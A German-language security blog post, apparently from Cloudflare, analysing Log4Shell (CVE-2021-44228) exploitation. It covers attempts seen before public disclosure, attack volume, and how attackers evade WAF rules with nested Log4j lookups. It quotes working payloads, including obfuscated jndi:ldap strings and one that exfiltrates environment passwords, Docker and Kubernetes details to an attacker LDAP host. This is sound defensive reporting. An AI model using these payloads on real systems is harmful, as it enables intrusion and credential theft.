Ausnutzung von Log4j CVE-2021-44228 vor der öffentlichen Bekanntgabe und Entwicklung von Umgehung und Exfiltration

In diesem Blog-Beitrag befassen wir uns mit WAF-Umgehungsmustern und Exfiltrationsversuchen, die weltweit beobachtet wurden, mit Trenddaten zu versuchten Angriffen und mit Informationen zu Angriffen, die wir vor der Veröffentlichung von CVE-2021-44228 bemerkt haben.

Kurz gesagt, die Sicherheitslücke wurde am 1. Dezember in begrenztem Umfang getestet, also acht Tage vor der öffentlichen Bekanntgabe. Der erste Versuch, die Sicherheitslücke auszunutzen, erfolgte nur neun Minuten nach der Veröffentlichung, was zeigt, wie schnell Angreifer neu entdeckte Probleme ausnutzen.

Wir sehen auch massenhafte Versuche, WAFs zu umgehen, die versucht haben, eine einfache Blockierung durchzuführen, wir sehen massenhafte Versuche, Daten zu exfiltrieren, einschließlich geheimer Anmeldedaten und Passwörter.

Seit dem Bekanntwerden von CVE-2021-44228 (jetzt allgemein als Log4Shell bezeichnet) haben wir gesehen, wie Angreifer von der Verwendung einfacher Angriffsstrings zu dem aktiven Versuch übergegangen sind, die Blockierung durch WAFs zu umgehen. WAFs sind ein nützliches Instrument, um externe Angreifer zu stoppen, und es wird häufig versucht, WAFs zu umgehen, um vereinfachte Regeln zu umgehen.

In den ersten Exploit-Phasen der Log4j-Schwachstelle verwendeten die Angreifer unverschlüsselte Zeichenketten, die typischerweise mit ${jndi:dns, ${jndi:rmi und ${jndi:ldap starteten. Einfache Regeln für die Suche nach diesen Mustern waren wirksam.

Kurz nachdem diese Zeichenfolgen blockiert wurden, gingen die Angreifer dazu über, Umgehungstechniken einzusetzen. Sie nutzten und nutzen sowohl übliche Umgehungstechniken (Escaping oder Kodierung von Zeichen) als auch maßgeschneiderte Umgehungstechniken, die speziell auf die Sprache Log4j Lookups zugeschnitten sind.

Jede fähige WAF ist in der Lage, mit den Standardtechniken umzugehen. Tricks wie die Kodierung von ${ als %24%7B oder \u0024\u007b können leicht rückgängig gemacht werden, bevor Regeln zur Überprüfung des verwendeten Exploits angewendet werden.

Die Sprache Log4j verfügt jedoch über eine Reihe von Funktionen, die es ermöglichen, die Schlüsselzeichenfolgen, nach denen einige WAFs suchen, zu verschleiern. Zum Beispiel wird bei der Suche nach ${lower} eine Zeichenkette klein geschrieben. So würde ${lower:H} zu h. Mithilfe von Lookups verschleiern Angreifer kritische Zeichenketten wie jndi, um WAFs zu umgehen.

Im offenen Internet sehen wir die Verwendung von ${date}, ${lower}, ${upper}, ${web}, ${main} und ${env} zur Umgehung. Darüber hinaus werden ${env}, ${sys} und ${main} (und andere spezialisierte Suchabfragen für Docker, Kubernetes und andere Systeme) verwendet, um Daten aus der Umgebung des Zielprozesses zu exfiltrieren (einschließlich kritischer Geheimnisse).

Um besser zu verstehen, wie diese Sprache verwendet wird, hier ein kleines Java-Programm, das eine Zeichenkette auf der Befehlszeile entgegennimmt und sie über Log4j auf der Konsole protokolliert:

Dieses einfache Programm schreibt in die Konsole. Hier wird das einzelne Wort hide protokolliert.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}

Die Log4j-Sprache erlaubt die Verwendung von ${} innerhalb von ${} , so dass Angreifer mehrere verschiedene Schlüsselwörter zur Umgehung kombinieren können. Zum Beispiel würde das folgende ${lower:${lower:h}}${lower:${upper:i}}${lower:D}e als das Wort hide protokolliert werden. Das macht es einem Angreifer leicht, die einfache Suche nach z.B. ${jndi zu umgehen, da die Buchstaben von jndi auf ähnliche Weise versteckt werden können.

$ java log4jTester.java 'hide'          
01:28:25.606 [main] ERROR log4jTester - hide

Die andere wichtige Umgehungstechnik ist die Verwendung der :--Syntax. Diese Syntax ermöglicht es dem Angreifer, einen Standardwert für eine Abfrage festzulegen, und wenn der abgefragte Wert leer ist, wird der Standardwert ausgegeben. So kann z.B. eine nicht vorhandene Umgebungsvariable zur Ausgabe von Buchstaben eines Wortes verwendet werden.

$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide

Ähnliche Techniken werden bei ${web}, ${main}, usw. sowie bei Zeichenketten wie ${::-h} oder ${::::::-h} verwendet, die beide zu h werden. Und natürlich werden auch Kombinationen dieser Techniken eingesetzt, um immer raffiniertere Umgehungsversuche zu unternehmen.

$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide

Um ein Gefühl dafür zu bekommen, wie sich die Umgehung von WAF-Blöcken entwickelt hat, hier ein Diagramm, das zeigt, wie unverschleierte ${jndi: in WAF-Blöcken erscheinen (die orangefarbene Linie), die Verwendung des ${lower}-Lookups (grüne Linie), die Verwendung von URI-Codierung (blaue Linie) und eine bestimmte Umgehung, die populär geworden ist, ${${::-j}${::-n}${::-d}${::-i}(rote Linie).

In den ersten Tagen war die Umgehung relativ selten. Jetzt jedoch, obwohl naive Zeichenketten wie ${jndi: nach wie vor beliebt sind, hat die Umgehung zugenommen und WAFs müssen diese verbesserten Angriffe blockieren.

Wir haben letzte Woche über die ersten Exploit-Phasen geschrieben, in denen es hauptsächlich um die Aufklärung ging. Seitdem sind die Angreifer zur Datenextraktion übergegangen.

Wir sehen die Verwendung von ${env}, um Umgebungsvariablen zu extrahieren, und ${sys}, um Informationen über das System zu erhalten, auf dem Log4j ausgeführt wird. Ein Angriff, der im offenen Internet blockiert wurde, versuchte, eine Menge Daten aus verschiedenen Log4j-Lookups zu exfiltrieren:

Dort können Sie den Benutzer, das Heimatverzeichnis, den Namen des Docker-Images, Details zu Kubernetes und Spring, Passwörter für den Benutzer und die Datenbanken, Hostnamen und Befehlszeilenargumente sehen, die exfiltriert werden.

${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}

Aufgrund der Raffinesse sowohl der Umgehung als auch der Exfiltration müssen WAF-Anbieter jedes Auftreten von ${ als verdächtig betrachten und behandeln. Aus diesem Grund bieten wir zusätzlich an, alle Protokolle zu bereinigen, die wir unseren Kunden schicken, um ${ zu x{ umzuwandeln.

Das Cloudflare WAF-Team arbeitet kontinuierlich daran, Exploit-Versuche zu verhindern, aber es ist immer noch wichtig, dass Kunden ihre Systeme mit aktuellen Log4j-Patches versehen oder Abwehrmaßnahmen anwenden. Da die protokollierten Daten nicht unbedingt über das Internet kommen, müssen die Systeme gepatcht werden, unabhängig davon, ob sie mit dem Internet verbunden sind oder nicht.

Alle zahlenden Kunden verfügen über konfigurierbare WAF-Regeln zum Schutz vor CVE-2021-44228, und wir haben auch einen Schutz für unsere Kunden mit kostenlosem Tarif eingerichtet.

Cloudflare hat schnell WAF-Regeln eingeführt, um diese Angriffe zu verhindern. Das folgende Diagramm zeigt, wie sich diese blockierten Angriffe verändert haben.

Vom 10. bis 13. Dezember stieg die Anzahl der Blöcke pro Minute wie folgt an.

Datum

Durchschnittliche blockierte Anfragen pro Minute

10.12.2021

5.483

11.12.2021

18.606

12.12.2021

27.439

13.12.2021

24.642

In unserem ursprünglichen Blog-Beitrag haben wir angemerkt, dass Kanada (die grüne Linie unten) das wichtigste Herkunftsland für Angriffsversuche war. Wie von uns vorhergesagt, hat sich dies nicht fortgesetzt, und die Angriffe kommen aus der ganzen Welt, entweder direkt von Servern oder über Proxys.

CVE-2021-44228 wurde in einem (inzwischen gelöschten) Tweet am 2021-12-09 14:25 UTC bekannt gegeben:

Unsere Systeme haben jedoch am 1. Dezember 2021 drei Fälle von versuchter Ausnutzung oder Scanning aufgezeichnet, die wie folgt aussehen. In jedem dieser Fälle habe ich IP-Adressen und Domain-Namen unkenntlich gemacht. Diese drei injizierten ${jndi:ldap} Suchanfragen in den HTTP User-Agent-Header, den Referer -Header und in URI-Parameter.

Nach diesen drei Versuchen sahen wir bis neun Minuten nach der Veröffentlichung keine weiteren Aktivitäten, als jemand versuchte, eine ${jndi:ldap} -Zeichenkette über einen URI-Parameter auf einer Gaming-Website zu injizieren.

2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	

2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}

CVE-2021-44228 wird von einer großen Anzahl von Akteuren aktiv ausgenutzt. WAFs sind eine wirksame Maßnahme, um Angriffe von außen zu verhindern, aber sie sind nicht narrensicher, und Angreifer arbeiten aktiv an Umgehungsmöglichkeiten. Die Gefahr der Exfiltration von Daten und Anmeldeinformationen ist unglaublich groß, und die langfristigen Risiken verheerender Hacks und Angriffe sind sehr real.

Es ist wichtig, betroffene Software, die Log4j verwendet, jetzt zu reparieren und zu patchen und nicht zu warten.